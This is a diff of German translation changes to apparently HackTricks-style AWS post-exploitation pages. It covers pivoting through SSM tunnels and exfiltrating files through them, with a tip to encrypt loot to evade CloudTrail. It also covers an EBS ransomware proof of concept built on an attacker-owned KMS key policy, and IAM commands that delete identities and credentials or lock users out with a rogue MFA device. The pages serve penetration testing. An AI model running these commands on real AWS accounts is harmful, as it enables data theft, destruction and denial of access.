|
||||
```
|
||||
6. Aktualisiere das Feld `server` in der Datei `$HOME/.kube/config`, sodass es auf `https://localhost` zeigt
|
||||
7. Erstelle einen SSM-Tunnel wie folgt:
|
||||
7. Erstelle einen SSM tunnel wie folgt:
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. Der Traffic des Tools `kubectl` wird jetzt durch den SSM-Tunnel über die Bastion EC2 weitergeleitet und Sie können von Ihrem eigenen Rechner auf den privaten EKS-Cluster zugreifen, indem Sie Folgendes ausführen:
|
||||
Der Datenverkehr des Tools `kubectl` wird nun über den SSM-Tunnel durch die Bastion EC2 weitergeleitet, und Sie können von Ihrer eigenen Maschine aus auf den privaten EKS-Cluster zugreifen, indem Sie Folgendes ausführen:
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Beachte, dass die SSL-Verbindungen fehlschlagen, sofern du nicht das Flag `--insecure-skip-tls-verify ` setzt (oder dessen Äquivalent in K8s-Audit-Tools). Da der Traffic durch den sicheren AWS SSM-Tunnel geleitet wird, bist du vor jeglicher Art von MitM-Angriffen geschützt.
|
||||
Beachte, dass SSL-Verbindungen fehlschlagen, wenn du nicht das Flag `--insecure-skip-tls-verify` setzt (oder dessen Äquivalent in K8s audit tools). Da der Datenverkehr durch den sicheren AWS SSM tunnel geleitet wird, bist du vor jeglicher Art von MitM-Angriffen geschützt.
|
||||
|
||||
Schließlich ist diese Technik nicht spezifisch für Angriffe auf private EKS-Cluster. Du kannst beliebige Domains und Ports setzen, um zu jedem anderen AWS-Service oder einer eigenen Anwendung zu pivotieren.
|
||||
Abschließend ist diese Technik nicht auf Angriffe gegen private EKS-Cluster beschränkt. Du kannst beliebige Domains und Ports setzen, um zu jedem anderen AWS-Service oder einer eigenen Anwendung zu pivot.
|
||||
|
||||
---
|
||||
|
||||
#### Schnelle lokale ↔ entfernte Port-Weiterleitung (AWS-StartPortForwardingSession)
|
||||
#### Schnelles Lokal ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
|
||||
|
||||
Wenn du nur **einen TCP-Port von der EC2-Instance zu deinem lokalen Host** weiterleiten musst, kannst du das SSM-Dokument `AWS-StartPortForwardingSession` verwenden (kein Parameter für einen remote Host erforderlich):
|
||||
Wenn du nur einen TCP-Port von der EC2 instance zu deinem lokalen Host weiterleiten musst, kannst du das SSM-Dokument `AWS-StartPortForwardingSession` verwenden (kein remote host Parameter erforderlich):
|
||||
```bash
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
Der Befehl stellt einen bidirektionalen Tunnel zwischen Ihrer workstation (`localPortNumber`) und dem ausgewählten Port (`portNumber`) auf der instance **ohne Öffnen von inbound Security-Group rules**.
|
||||
Der Befehl richtet einen bidirektionalen Tunnel zwischen deiner Workstation (`localPortNumber`) und dem ausgewählten Port (`portNumber`) auf der Instance ein **ohne eingehende Security-Group-Regeln zu öffnen**.
|
||||
|
||||
Häufige Anwendungsfälle:
|
||||
|
||||
* **File exfiltration**
|
||||
1. Auf der instance einen schnellen HTTP-Server starten, der auf das Verzeichnis zeigt, das du exfiltrieren möchtest:
|
||||
1. Auf der Instance starte einen schnellen HTTP-Server, der auf das Verzeichnis zeigt, das du exfiltrieren möchtest:
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000
|
||||
```
|
||||
|
||||
2. Von deiner workstation die Dateien über den SSM-Tunnel abrufen:
|
||||
2. Von deiner Workstation lade die Dateien über den SSM-Tunnel herunter:
|
||||
|
||||
```bash
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
@@ -224,7 +252,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
Tipp: Komprimiere und verschlüssele Beweise, bevor du sie exfiltrierst, damit CloudTrail den Klartext nicht protokolliert:
|
||||
Tipp: Compress und encrypt Beweise vor dem exfiltrating, damit CloudTrail den clear-text content nicht protokolliert:
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
@@ -235,17 +263,17 @@ aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{
|
||||
```
|
||||
### Nach sensiblen Informationen in öffentlichen und privaten AMIs suchen
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel ist ein Tool, das dafür entwickelt wurde, **in öffentlichen oder privaten Amazon Machine Images (AMIs) nach sensiblen Informationen zu suchen**. Es automatisiert den Prozess des Startens von Instanzen aus Ziel-AMIs, das Einhängen ihrer Volumes und das Scannen nach potenziellen secrets oder sensiblen Daten.
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel ist ein Tool, das dafür entwickelt wurde, **in öffentlichen oder privaten Amazon Machine Images (AMIs) nach sensiblen Informationen zu suchen**. Es automatisiert den Prozess, Instances aus Ziel-AMIs zu starten, deren Volumes zu mounten und nach potenziellen secrets oder sensiblen Daten zu scannen.
|
||||
|
||||
### EBS Snapshot freigeben
|
||||
### EBS Snapshot teilen
|
||||
```bash
|
||||
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
Ein Proof-of-Concept, ähnlich der Ransomware-Demonstration in den S3 post-exploitation notes. KMS sollte angesichts der Leichtigkeit, mit der es zur Verschlüsselung verschiedener AWS-Services verwendet werden kann, in RMS (Ransomware Management Service) umbenannt werden.
|
||||
Ein Proof-of-Concept, ähnlich der Ransomware-Demonstration in den S3 post-exploitation notes. KMS sollte angesichts der Einfachheit, mit der es zum Verschlüsseln verschiedener AWS-Services verwendet werden kann, in RMS (Ransomware Management Service) umbenannt werden.
|
||||
|
||||
Zuerst, aus einem 'attacker' AWS-Account, erstelle einen customer managed key in KMS. In diesem Beispiel lasse ich AWS die Key-Daten verwalten, aber in einem realistischen Szenario würde ein böswilliger Akteur die Key-Daten außerhalb der Kontrolle von AWS behalten. Ändere die key policy so, dass jeder AWS-Account Principal den Key verwenden darf. Für diese key policy hieß der Account 'AttackSim' und die Policy-Regel, die vollen Zugriff erlaubt, heißt 'Outside Encryption'.
|
||||
Zuerst: Erstelle von einem 'attacker' AWS-Account aus einen customer managed key in KMS. Für dieses Beispiel lasse ich AWS die Key-Daten verwalten, aber in einem realistischen Szenario würde ein böswilliger Akteur die Key-Daten außerhalb der Kontrolle von AWS behalten. Ändere die Key-Policy so, dass jeder AWS-Account Principal den Key verwenden darf. In dieser Key-Policy hieß das Konto 'AttackSim' und die Policy-Regel, die vollen Zugriff erlaubt, heißt 'Outside Encryption'.
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -337,7 +365,7 @@ Zuerst, aus einem 'attacker' AWS-Account, erstelle einen customer managed key in
|
||||
]
|
||||
}
|
||||
```
|
||||
Die Key-Policy-Regel muss folgendes aktiviert haben, um sie zum Verschlüsseln eines EBS-Volumes verwenden zu können:
|
||||
Die Key-Policy-Regel muss Folgendes aktivieren, damit sie verwendet werden kann, um ein EBS-Volume zu verschlüsseln:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -345,21 +373,21 @@ Die Key-Policy-Regel muss folgendes aktiviert haben, um sie zum Verschlüsseln e
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Jetzt mit dem öffentlich zugänglichen Key zur Verwendung. Wir können ein 'victim' Account verwenden, das einige EC2-Instanzen mit angehängten unverschlüsselten EBS-Volumes laufen hat. Die EBS-Volumes dieses 'victim' Accounts sind das Ziel unserer Verschlüsselung; dieser Angriff erfolgt unter der Annahme einer Kompromittierung eines hochprivilegierten AWS-Accounts.
|
||||
Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account.
|
||||
|
||||
 
|
||||
|
||||
Ähnlich dem S3 ransomware-Beispiel. Dieser Angriff erstellt Kopien der angehängten EBS-Volumes mittels snapshots, verwendet den öffentlich verfügbaren Key aus dem 'attacker' Account, um die neuen EBS-Volumes zu verschlüsseln, trennt dann die ursprünglichen EBS-Volumes von den EC2-Instanzen und löscht sie, und löscht abschließend die snapshots, die zur Erstellung der neu verschlüsselten EBS-Volumes verwendet wurden. 
|
||||
Ähnlich wie beim S3 ransomware Beispiel. Dieser Angriff erzeugt Kopien der angehängten EBS-Volumes als snapshots, verwendet den öffentlich verfügbaren key aus dem 'attacker' Konto, um die neuen EBS-Volumes zu verschlüsseln, trennt dann die originalen EBS-Volumes von den EC2-Instanzen und löscht sie, und entfernt schließlich die snapshots, die für die Erstellung der neu verschlüsselten EBS-Volumes verwendet wurden. 
|
||||
|
||||
Das Ergebnis sind nur noch verschlüsselte EBS-Volumes, die im Account verfügbar sind.
|
||||
Ergebnis: Im Konto sind danach nur noch verschlüsselte EBS-Volumes verfügbar.
|
||||
|
||||
|
||||
|
||||
Außerdem ist zu beachten, dass das Script die EC2-Instanzen gestoppt hat, um die ursprünglichen EBS-Volumes zu detachen und zu löschen. Die ursprünglichen unverschlüsselten Volumes sind jetzt verschwunden.
|
||||
Ebenfalls erwähnenswert: Das Script hat die EC2-Instanzen gestoppt, um die originalen EBS-Volumes zu trennen und zu löschen. Die ursprünglichen unverschlüsselten Volumes sind jetzt verschwunden.
|
||||
|
||||
|
||||
|
||||
Als Nächstes kehre zur Key-Policy im 'attacker' Account zurück und entferne die 'Outside Encryption' Policy-Regel aus der Key-Policy.
|
||||
Als Nächstes kehren Sie zur Key-Policy im 'attacker' Konto zurück und entfernen die 'Outside Encryption' Policy-Regel aus der Key-Policy.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -430,15 +458,15 @@ Als Nächstes kehre zur Key-Policy im 'attacker' Account zurück und entferne di
|
||||
]
|
||||
}
|
||||
```
|
||||
Warte einen Moment, bis die neu gesetzte Key-Policy propagiert ist. Kehre dann zum 'Opfer'-Konto zurück und versuche, eines der neu verschlüsselten EBS-Volumes anzuhängen. Du wirst feststellen, dass du das Volume anhängen kannst.
|
||||
Warte einen Moment, bis die neu gesetzte key policy propagiert ist. Kehre dann zum 'victim' Account zurück und versuche, eines der neu verschlüsselten EBS-Volumes anzuhängen. Du wirst feststellen, dass du das Volume anhängen kannst.
|
||||
|
||||
 
|
||||
|
||||
Aber wenn du versuchst, die EC2-Instance mit dem verschlüsselten EBS-Volume wirklich wieder zu starten, schlägt das einfach fehl und der Status wechselt von 'pending' zurück zu 'stopped' — dauerhaft — da das angehängte EBS-Volume nicht mit dem Key entschlüsselt werden kann, weil die Key-Policy dies nicht mehr erlaubt.
|
||||
Aber wenn du versuchst, die EC2-Instance mit dem verschlüsselten EBS-Volume tatsächlich wieder zu starten, schlägt das einfach fehl und die Instance wechselt vom 'pending'-Zustand zurück in den 'stopped'-Zustand — dauerhaft — da das angehängte EBS-Volume nicht mit dem Key entschlüsselt werden kann, weil die key policy das nicht mehr erlaubt.
|
||||
|
||||
 
|
||||
|
||||
Das ist das verwendete python-Skript. Es nimmt AWS creds für ein 'Opfer'-Konto und einen öffentlich verfügbaren AWS ARN-Wert für den zu verwendenden Key zur Verschlüsselung. Das Skript erstellt verschlüsselte Kopien ALLER verfügbaren EBS-Volumes, die an ALLE EC2-Instances im zielgerichteten AWS-Konto angehängt sind, stoppt dann jede EC2-Instance, hängt die ursprünglichen EBS-Volumes ab, löscht sie und entfernt schließlich alle während des Prozesses verwendeten Snapshots. Dadurch bleiben im zielgerichteten 'Opfer'-Konto nur noch verschlüsselte EBS-Volumes übrig. NUR IN EINER TESTUMGEBUNG VERWENDEN, DAS SKRIPT IST DESTRUKTIV UND LÖSCHT ALLE ORIGINALEN EBS-VOLUMES. Du kannst sie mit dem verwendeten KMS-Key wiederherstellen und über Snapshots in ihren ursprünglichen Zustand zurückversetzen, aber ich möchte dich darauf hinweisen, dass es sich letztlich um einen ransomware PoC handelt.
|
||||
Das ist das verwendete python script. Es nimmt AWS-Creds für einen 'victim'-Account und einen öffentlich verfügbaren AWS ARN-Wert für den Key, der zur Verschlüsselung verwendet werden soll. Das Script erstellt verschlüsselte Kopien ALLER verfügbaren EBS-Volumes, die an ALLE EC2-Instances im Ziel-AWS-Account angehängt sind, stoppt dann jede EC2-Instance, hängt die originalen EBS-Volumes ab, löscht sie und entfernt schließlich alle während des Prozesses verwendeten Snapshots. Dadurch bleiben im Ziel-'victim'-Account nur noch verschlüsselte EBS-Volumes übrig. NUR IN EINER TESTUMGEBUNG VERWENDEN, DAS SCRIPT IST DESTRUKTIV UND LÖSCHT ALLE ORIGINALEN EBS-VOLUMES. Du kannst sie mit dem verwendeten KMS-Key wiederherstellen und über Snapshots in ihren ursprünglichen Zustand zurückversetzen, aber ich möchte dich darauf hinweisen, dass dies am Ende des Tages ein ransomware PoC ist.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
@@ -555,8 +583,8 @@ delete_snapshots(ec2_client, snapshot_ids)
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
## Referenzen
|
||||
## Quellen
|
||||
|
||||
- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
- [Pentest Partners – Wie man Dateien in AWS mit SSM überträgt](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,13 +12,13 @@ Für weitere Informationen zum IAM-Zugriff:
|
||||
|
||||
## Confused Deputy Problem
|
||||
|
||||
Wenn Sie einem **externen Account (A)** erlauben, auf eine **Rolle** in Ihrem Account zuzugreifen, werden Sie wahrscheinlich **keine Sichtbarkeit** darüber haben, **wer genau auf diesen externen Account zugreifen kann**. Das ist ein Problem, denn wenn ein anderer externer Account (B) auf den externen Account (A) zugreifen kann, ist es möglich, dass **B ebenfalls auf Ihr Konto zugreifen kann**.
|
||||
Wenn Sie einem **externen Konto (A)** erlauben, auf eine **role** in Ihrem Konto zuzugreifen, haben Sie wahrscheinlich **keine Sichtbarkeit** darüber, **wer genau auf dieses externe Konto zugreifen kann**. Das ist ein Problem, denn wenn ein anderes externes Konto (B) Zugriff auf das externe Konto (A) hat, ist es möglich, dass **B ebenfalls auf Ihr Konto zugreifen kann**.
|
||||
|
||||
Daher ist es möglich, beim Zulassen eines externen Accounts für den Zugriff auf eine Rolle in Ihrem Account eine `ExternalId` anzugeben. Dies ist eine "geheime" Zeichenfolge, die der externe Account (A) **angeben muss**, um **die Rolle in Ihrer Organisation anzunehmen**. Da der **externe Account B diese Zeichenfolge nicht kennt**, kann er selbst wenn er Zugriff auf A hat **nicht auf Ihre Rolle zugreifen**.
|
||||
Deshalb ist es beim Gewähren eines Zugriffs für ein externes Konto auf eine role in Ihrem Konto möglich, eine `ExternalId` anzugeben. Dies ist eine "geheime" Zeichenkette, die das externe Konto (A) angeben muss, um **assume the role in your organization**. Da das **externe Konto B diese Zeichenkette nicht kennt**, kann es selbst bei Zugriff auf A **nicht auf Ihre role zugreifen**.
|
||||
|
||||
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Beachten Sie jedoch, dass dieses `ExternalId`-"Geheimnis" **kein Geheimnis** ist — jeder, der die **IAM assume role policy lesen kann**, wird es sehen können. Aber solange der externe Account A es kennt, der externe Account **B es nicht kennt**, verhindert es, dass **B A missbraucht, um auf Ihre Rolle zuzugreifen**.
|
||||
Beachten Sie jedoch, dass dieses `ExternalId`-"Geheimnis" **kein Geheimnis** ist — jeder, der die **IAM assume role policy lesen kann, wird es sehen können**. Solange jedoch das externe Konto A die Zeichenkette kennt und das externe Konto **B sie nicht kennt**, **verhindert es, dass B A missbraucht, um auf Ihre role zuzugreifen**.
|
||||
|
||||
Beispiel:
|
||||
```json
|
||||
@@ -39,7 +39,7 @@ Beispiel:
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Damit ein Angreifer einen confused deputy ausnutzen kann, muss er irgendwie herausfinden, ob Principals des aktuellen Accounts Rollen in anderen Accounts übernehmen bzw. sich als diese ausgeben können.
|
||||
> Damit ein Angreifer einen confused deputy ausnutzen kann, muss er irgendwie herausfinden, ob Principals des aktuellen Kontos Rollen in anderen Konten übernehmen (impersonate) können.
|
||||
|
||||
### Unerwartete Vertrauensstellungen
|
||||
|
||||
@@ -51,9 +51,9 @@ Beispiel:
|
||||
"Principal": { "AWS": "*" }
|
||||
}
|
||||
```
|
||||
Diese Richtlinie **ermöglicht es allen AWS**, die Rolle zu übernehmen.
|
||||
Diese Richtlinie **erlaubt allen AWS**, die Rolle zu übernehmen.
|
||||
|
||||
#### Dienst als Principal
|
||||
#### Service als Principal
|
||||
```json
|
||||
{
|
||||
"Action": "lambda:InvokeFunction",
|
||||
@@ -62,9 +62,9 @@ Diese Richtlinie **ermöglicht es allen AWS**, die Rolle zu übernehmen.
|
||||
"Resource": "arn:aws:lambda:000000000000:function:foo"
|
||||
}
|
||||
```
|
||||
Diese Richtlinie **ermöglicht jedem Konto**, sein apigateway so zu konfigurieren, dass es diese Lambda aufruft.
|
||||
Diese Richtlinie **erlaubt jedem Konto**, sein apigateway so zu konfigurieren, dass es dieses Lambda aufruft.
|
||||
|
||||
#### S3 als principal
|
||||
#### S3 als Principal
|
||||
```json
|
||||
"Condition": {
|
||||
"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
|
||||
@@ -73,7 +73,7 @@ Diese Richtlinie **ermöglicht jedem Konto**, sein apigateway so zu konfiguriere
|
||||
}
|
||||
}
|
||||
```
|
||||
Wenn ein S3 bucket als principal angegeben ist, da S3 buckets keine Account ID haben, und du **deinen Bucket gelöscht hast und der Angreifer ihn in seinem eigenen Account erstellt hat**, dann könnte er das ausnutzen.
|
||||
Wenn ein S3 bucket als principal angegeben ist — da S3 buckets keine Account ID haben — und du **deinen Bucket gelöscht hast und der Angreifer ihn** in seinem eigenen Account erstellt hat, dann könnten sie das ausnutzen.
|
||||
|
||||
#### Nicht unterstützt
|
||||
```json
|
||||
@@ -84,10 +84,10 @@ Wenn ein S3 bucket als principal angegeben ist, da S3 buckets keine Account ID h
|
||||
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
|
||||
}
|
||||
```
|
||||
Eine gängige Methode, Confused Deputy-Probleme zu vermeiden, ist die Verwendung einer Bedingung mit `AWS:SourceArn`, um die Herkunfts-ARN zu prüfen. Allerdings unterstützen **einige Dienste das möglicherweise nicht** (z. B. CloudTrail laut einigen Quellen).
|
||||
Eine gängige Methode, um Confused Deputy-Probleme zu vermeiden, ist die Verwendung einer Bedingung mit `AWS:SourceArn`, um die Origin-ARN zu prüfen. Allerdings **unterstützen einige Dienste das möglicherweise nicht** (wie z. B. CloudTrail, laut einigen Quellen).
|
||||
|
||||
### Löschen von Zugangsdaten
|
||||
Mit einer der folgenden Berechtigungen — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — kann ein Akteur access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates oder CloudFront public keys entfernen bzw. Rollen von instance profiles trennen. Solche Aktionen können legitime Benutzer und Anwendungen sofort blockieren und zu denial-of-service oder zum Verlust des Zugriffs für Systeme führen, die von diesen Credentials abhängen, daher müssen diese IAM-Berechtigungen streng eingeschränkt und überwacht werden.
|
||||
### Löschung von Zugangsdaten
|
||||
Mit einer der folgenden Berechtigungen — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — kann ein Akteur Zugriffsschlüssel, Login-Profile, SSH-Schlüssel, servicespezifische Anmeldeinformationen, Instance-Profile, Zertifikate oder CloudFront public keys entfernen oder Rollen von Instance-Profilen trennen. Solche Aktionen können sofort legitime Benutzer und Anwendungen aussperren und zu denial-of-service oder zum Verlust des Zugriffs für Systeme führen, die von diesen Zugangsdaten abhängen; daher müssen diese IAM-Berechtigungen streng eingeschränkt und überwacht werden.
|
||||
```bash
|
||||
# Remove Access Key of a user
|
||||
aws iam delete-access-key \
|
||||
@@ -100,7 +100,7 @@ aws iam delete-ssh-public-key \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
|
||||
```
|
||||
### Identitätslöschung
|
||||
Mit Berechtigungen wie `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` oder `iam:RemoveUserFromGroup` kann ein Akteur Benutzer, Rollen oder Gruppen löschen — oder die Gruppenmitgliedschaft ändern — und damit Identitäten und zugehörige Spuren entfernen. Dies kann sofort den Zugriff für Personen und Dienste unterbrechen, die von diesen Identitäten abhängen, was zu denial-of-service oder zu Zugriffsverlust führen kann, daher müssen diese IAM actions streng eingeschränkt und überwacht werden.
|
||||
Mit Berechtigungen wie `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` oder `iam:RemoveUserFromGroup` kann ein Akteur Benutzer, Rollen oder Gruppen löschen bzw. die Gruppenmitgliedschaft ändern, wodurch Identitäten und zugehörige Spuren entfernt werden. Das kann sofort den Zugriff für Personen und Dienste unterbrechen, die von diesen Identitäten abhängen, und zu denial-of-service oder zum Verlust des Zugriffs führen, daher müssen diese IAM-Aktionen streng eingeschränkt und überwacht werden.
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user \
|
||||
@@ -115,7 +115,7 @@ aws iam delete-role \
|
||||
--role-name <Role>
|
||||
```
|
||||
###
|
||||
Mit einer der folgenden Berechtigungen — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — kann ein Akteur managed/inline policies löschen oder abtrennen, Policy-Versionen oder permissions boundaries entfernen und Policies von Benutzern, Gruppen oder Rollen abkoppeln. Das zerstört Autorisierungen und kann das Berechtigungsmodell verändern, wodurch betroffene principals sofort den Zugriff verlieren oder ein Denial-of-Service eintreten kann; diese IAM-Aktionen müssen daher streng eingeschränkt und überwacht werden.
|
||||
Mit einer der folgenden Berechtigungen — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — kann ein Akteur verwaltete oder Inline-Richtlinien löschen oder abtrennen, Richtlinienversionen oder Berechtigungsgrenzen entfernen und Richtlinien von Benutzern, Gruppen oder Rollen trennen. Dies zerstört Autorisierungen und kann das Berechtigungsmodell verändern, was zu sofortigem Zugriffsverlust oder Denial-of-Service für Principals führen kann, die von diesen Richtlinien abhängig waren, daher müssen diese IAM-Aktionen streng eingeschränkt und überwacht werden.
|
||||
```bash
|
||||
# Delete a group policy
|
||||
aws iam delete-group-policy \
|
||||
@@ -127,8 +127,8 @@ aws iam delete-role-policy \
|
||||
--role-name <RoleName> \
|
||||
--policy-name <PolicyName>
|
||||
```
|
||||
### Löschen föderierter Identitäten
|
||||
Mit `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` und `iam:RemoveClientIDFromOpenIDConnectProvider` kann ein Akteur OIDC-/SAML-Identitätsanbieter löschen oder Client‑IDs entfernen. Das unterbricht die föderierte Authentifizierung, verhindert die Token‑Validierung und verweigert sofort den Zugriff für Benutzer und Dienste, die auf SSO angewiesen sind, bis der IdP oder die Konfigurationen wiederhergestellt sind.
|
||||
### Löschung föderierter Identitäten
|
||||
Mit `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` und `iam:RemoveClientIDFromOpenIDConnectProvider` kann ein Akteur OIDC-/SAML-Identitätsanbieter löschen oder Client-IDs entfernen. Dadurch wird die föderierte Authentifizierung unterbrochen, die Token-Validierung verhindert und der Zugriff für Benutzer und Dienste, die auf SSO angewiesen sind, sofort verweigert, bis der IdP oder die Konfigurationen wiederhergestellt sind.
|
||||
```bash
|
||||
# Delete OIDCP provider
|
||||
aws iam delete-open-id-connect-provider \
|
||||
@@ -138,8 +138,8 @@ aws iam delete-open-id-connect-provider \
|
||||
aws iam delete-saml-provider \
|
||||
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
|
||||
```
|
||||
### Unberechtigte MFA-Aktivierung
|
||||
Mit `iam:EnableMFADevice` kann ein Angreifer ein MFA-Gerät auf der Identität eines Nutzers registrieren und dadurch den legitimen Nutzer am Anmelden hindern. Sobald ein nicht autorisiertes MFA aktiviert ist, kann der Nutzer ausgesperrt werden, bis das Gerät entfernt oder zurückgesetzt wird (Hinweis: Sind mehrere MFA-Geräte registriert, ist für die Anmeldung nur eines erforderlich, sodass dieser Angriff keine Wirkung hat, den Zugang zu verweigern).
|
||||
### Illegitimate MFA Activation
|
||||
Mit `iam:EnableMFADevice` kann ein Angreifer ein MFA-Gerät an der Identität eines Benutzers registrieren und so verhindern, dass der legitime Benutzer sich anmeldet. Sobald ein nicht autorisiertes MFA aktiviert ist, kann der Benutzer ausgesperrt werden, bis das Gerät entfernt oder zurückgesetzt wird (Hinweis: Wenn mehrere MFA-Geräte registriert sind, ist für die Anmeldung nur eines erforderlich, sodass dieser Angriff keinen Effekt auf das Verweigern des Zugriffs hat).
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
@@ -147,8 +147,8 @@ aws iam enable-mfa-device \
|
||||
--authentication-code1 123456 \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
### Manipulation von Zertifikats-/Schlüsselmetadaten
|
||||
Mit `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` kann ein Akteur den Status oder die Metadaten öffentlicher Schlüssel und Zertifikate ändern. Durch das Markieren von Schlüsseln/Zertifikaten als inaktiv oder das Ändern von Referenzen können sie die SSH-Authentifizierung unterbrechen, X.509/TLS-Validierungen ungültig machen und Dienste, die auf diesen Anmeldeinformationen basieren, sofort stören, was zu Verlust von Zugriff oder Verfügbarkeit führt.
|
||||
### Manipulation von Zertifikat-/Schlüsselmetadaten
|
||||
Mit `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` kann ein Akteur den Status oder die Metadaten von öffentlichen Schlüsseln und Zertifikaten ändern. Durch das Deaktivieren von Schlüsseln/Zertifikaten oder das Ändern von Verweisen können sie die SSH-Authentifizierung unterbrechen, X.509/TLS-Validierungen ungültig machen und sofort Dienste stören, die von diesen Anmeldeinformationen abhängen, was zu Verlust des Zugriffs oder der Verfügbarkeit führt.
|
||||
```bash
|
||||
aws iam update-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
@@ -159,7 +159,34 @@ aws iam update-server-certificate \
|
||||
--server-certificate-name <Certificate_Name> \
|
||||
--new-path /prod/
|
||||
```
|
||||
## Quellen
|
||||
### `iam:Delete*`
|
||||
|
||||
Das IAM-Wildcard iam:Delete* gewährt die Möglichkeit, viele Arten von IAM-Ressourcen zu entfernen — Benutzer, Rollen, Gruppen, Richtlinien, Schlüssel, Zertifikate, MFA-Geräte, Richtlinienversionen usw. — und hat daher einen sehr großen Blast-Radius: ein Akteur, dem iam:Delete* gewährt wurde, kann Identitäten, Zugangsdaten, Richtlinien und verwandte Artefakte dauerhaft vernichten, Prüf-/Beweismaterial entfernen und Service- oder Betriebsunterbrechungen verursachen. Einige Beispiele sind
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user --user-name <Username>
|
||||
|
||||
# Delete a role
|
||||
aws iam delete-role --role-name <RoleName>
|
||||
|
||||
# Delete a managed policy
|
||||
aws iam delete-policy --policy-arn arn:aws:iam::<ACCOUNT_ID>:policy/<PolicyName>
|
||||
```
|
||||
### `iam:EnableMFADevice`
|
||||
|
||||
Ein Akteur, dem die iam:EnableMFADevice-Aktion gewährt wurde, kann ein MFA device an einer identity im Account registrieren, vorausgesetzt, der user hatte nicht bereits eines aktiviert. Dies kann verwendet werden, um den Zugriff eines user zu stören: Sobald ein attacker ein MFA device registriert, kann der legitime user daran gehindert werden, sich anzumelden, weil er das vom attacker registrierte MFA nicht kontrolliert.
|
||||
|
||||
